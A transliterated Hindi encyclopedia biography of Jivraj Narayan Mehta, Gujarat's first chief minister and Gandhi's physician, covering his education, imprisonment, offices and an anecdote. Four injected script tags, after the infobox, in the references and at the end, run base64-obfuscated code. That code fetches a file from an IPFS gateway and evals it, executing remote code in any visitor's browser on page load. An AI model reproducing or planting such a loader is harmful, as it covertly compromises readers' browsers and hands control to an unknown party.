जीवराज मेहता
jivaraj mehata
| |
| poora nam | jivaraj narayan mehata |
| janm | 29 agast, 1887 |
| janm bhoomi | b dauda, gujarat |
| mrityu | 7 navambar, 1978 |
| pati/patni | hansa mehata |
| nagarikata | bharatiy |
| prasiddhi | rajanitijn |
| parti | bharatiy rashtriy kaangres |
| pad | pratham mukhyamantri, gujarat |
| kary kal | 1 mee, 1960 se 3 march, 1962 tak 3 march, 1962 se 19 sitanbar, 1963 tak |
| vidyalay | 'graant medikal k aaulej', mumbee |
| jel yatra | jivaraj mehata ne 1930 ke 'namak satyagrah' aur 1942 ke 'bharat chho do andolan' mean bhag liya aur jel ki saza bhogi. |
| sanbandhit lekh | hansa mehata, gaandhiji |
| vishesh | gaandhiji ko jab bhi chikitsa paramarsh ki avashkata hoti to sada d aauktar jivaraj mehata ko hi yad kiya jata tha. |
| any janakari | chhatr jivan mean jivaraj mehata b de pratibhashali the. muanbee ke 'graant medikal k aaulej' ki padhaee mean unhean ath mean se sat vishayoan mean chhatravritti aur puraskar mile the. athavean vishay ka adha puraskar bhi unhian ke hisse mean aya tha. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>jivaraj narayan mehata (aangrezi: Jivraj Narayan Mehta; janm- 29 agast, 1887 ee., b dauda, gujarat; mrityu- 7 navambar, 1978 ee.) bharat ke pramukh chikitsak aur desh sevak the. inhean gujarat rajy ka pratham mukhyamantri banane ka gaurav prapt hua tha. mehata ji apane vidyarthi jivan se hi bahut medhavi aur pratibhashali chhatr the. inhoanne apane vidyarthi jivan mean hi 'indiyan esosieshan' ka gathan kiya tha. yahian inaka sampark rashtrapita mahatma gaandhi se hua aur ye gaandhi ji ke sahayogi ban gaye. gaandhi ji apana har chikitsiy paramarsh d aaustar jivaraj mehata se hi liya karate the. gaandhi ji aur mehata ji ka yah sambandh jivan paryant bana raha tha.
janm tatha shiksha
pramukh chikitsakoan aur desh ke anany sevakoan mean se ek jivaraj mehata ka janm b dauda riyasat ke amareli kasbe mean 29 agast, 1887 ee. ko ek garib parivar mean hua tha. chhatravritti aur tyooshan karake jivaraj ne apani shiksha jari rakhi thi. ve b de pratibhashali chhatr the. muanbee ke 'graant medikal k aaulej' ki padhaee mean unhean ath mean se sat vishayoan mean chhatravritti aur puraskar mile the. athavean vishay ka adha puraskar bhi unhian ke hisse mean aya.
videsh gaman
'muanbee medakal k aaulej' ka adhyayan poora karane ke bad jivaraj k aaulej aur tata fand se chhatravritti lekar age adhyayan ke lie ianglaiand chale ge. vahaan bhi em.di. ki pariksha mean sarvapratham rahe. kuchh any parikshaean bhi sasamman pas karane ke bad ve 1915 ee. mean bharat ae aur shighr hi unaki ganana muanbee ke choti ke d aauktaroan mean hone lagi.
vivah tatha vyavasayik jivan
d aauktar jivaraj rashtriy bhavanaoan ke vyakti the. vidyarthi jivan mean unhoanne landan mean 'iandiyan esosieshan' ka gathan kiya tha. gaandhi ji se bhi unaka sampark vahian se ho gaya tha, jo ki jivan paryant bana raha. 1924 mean hansa mehata ke sath unaka aantarajatiy vivah hua. usi varsh ve 'b dauda aspatal' ke mukhy chikitsa adhikari bane. usake bad muanbee ke 'kiang edavard medikal k aaulej' ke pradhan ke roop mean unhoanne 17 varsh tak kary kiya.
jel yatra
d aauktar jivaraj mehata ne 1930 ee. ke 'namak satyagrah' mean bhag liya aur giraphtar kar liye ge. 1942 ke 'bharat chho do andolan' mean bhi unhoanne jel ki saza bhogi.
vibhinn pad
jivaraj mehata ne 1930, 1943 aur 1945 mean 'iandiyan medikal esosieshan' ki adhyakshata ki. 1946 ee. mean ve svasthy sevaoan ke dairektar janaral banaye ge. rajyoan ke punargathan ke samay ve b dauda riyasat ke divan bane the. 1949 mean jivaraj mehata muanbee rajy ke lok nirman mantri aur 1952 mean vittamantri bane. 1960 mean jab gujarat navagathit rajy bana to jivaraj mehata ko vahaan ka pahala mukhyamantri banaya gaya. is pad par vah sitambar 1960 se aprail 1963 tak rahe. bad mean vah 'yoonaited kiangadam' mean bharatiy uchchayukt ke roop mean 1963 se 1966 tak rahe. 1971 mean ve lokasabha ke sadasy bhi chune ge the.
prerak prasang
d aau. jivaraj mehata gaandhi ji ke niji chikitsak aur sahayogi the. gaandhi ji ke vicharoan ka un par gahara asar tha. ek bar vah gaandhi ji ke sath b dauda se ilahabad pahuanche. gaandhi ji ke ane ki soochana pahale se thi, isalie steshan par karyakartaoan ki bhari bhi d jama thi. gaandhi ji ke hath khali the, magar mehata ji ke hath mean ek ataichi thi. tren se utarate hi ek karyakarta age badh kar mehata ji ke hath se ataichi lene laga. mehata ji ne use mana kar diya. usi samay mehata ji ki najar ek adhe d mahila par p di, jisaki god mean ek chhota bachcha tha. vah doosare hath se ek baksa sanbhale huee thi. use chalane mean bahut kathinaee ho rahi thi.
mehata ji bhi d ko dhakka dete hue us mahila ke pas pahuanche aur bole- "bahan, ap ko bahut dikkat ho rahi hai. yah baksa mujhe de do. maian apako steshan ke bahar tak chho d deta hooan." vah mahila sankoch karane lagi. use asamanjas mean dekh kar mehata ji ne kaha- "ghabarao nahian. maian koee chor-uchakka nahian hooan. tumhara saman kahian nahian jaega." mahila ne apana baksa mehata ji ko pak da diya. tab tak doosare log bhi vahaan a ge. ek karyakarta mehata ji ke hath se baksa lene laga to vah bole- "yah bahut halka hai. mujhe koee pareshani nahian ho rahi hai. tum log usaki madad karo, jisako tumhari madad ki zaroorat hai. asahayoan ki seva karana hi hamara karm aur dharm hai." sab mehata ji ke vyavahar se behad prabhavit hue.[1]
nidhan
gaandhi ji ko jab bhi chikitsa paramarsh ki avashkata hoti thi, to sada d aauktar jivaraj mehata ko hi yad kiya jata tha. desh ki amooly seva karane vale is mahanh vyaktitv ka 7 navambar, 1978 ee. ko nidhan hua.
|
|
|
|
|
|
tika tippani aur sandarbh
bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 324 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ karm aur dharm (hindi). . abhigaman tithi: 25 agast, 2013.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>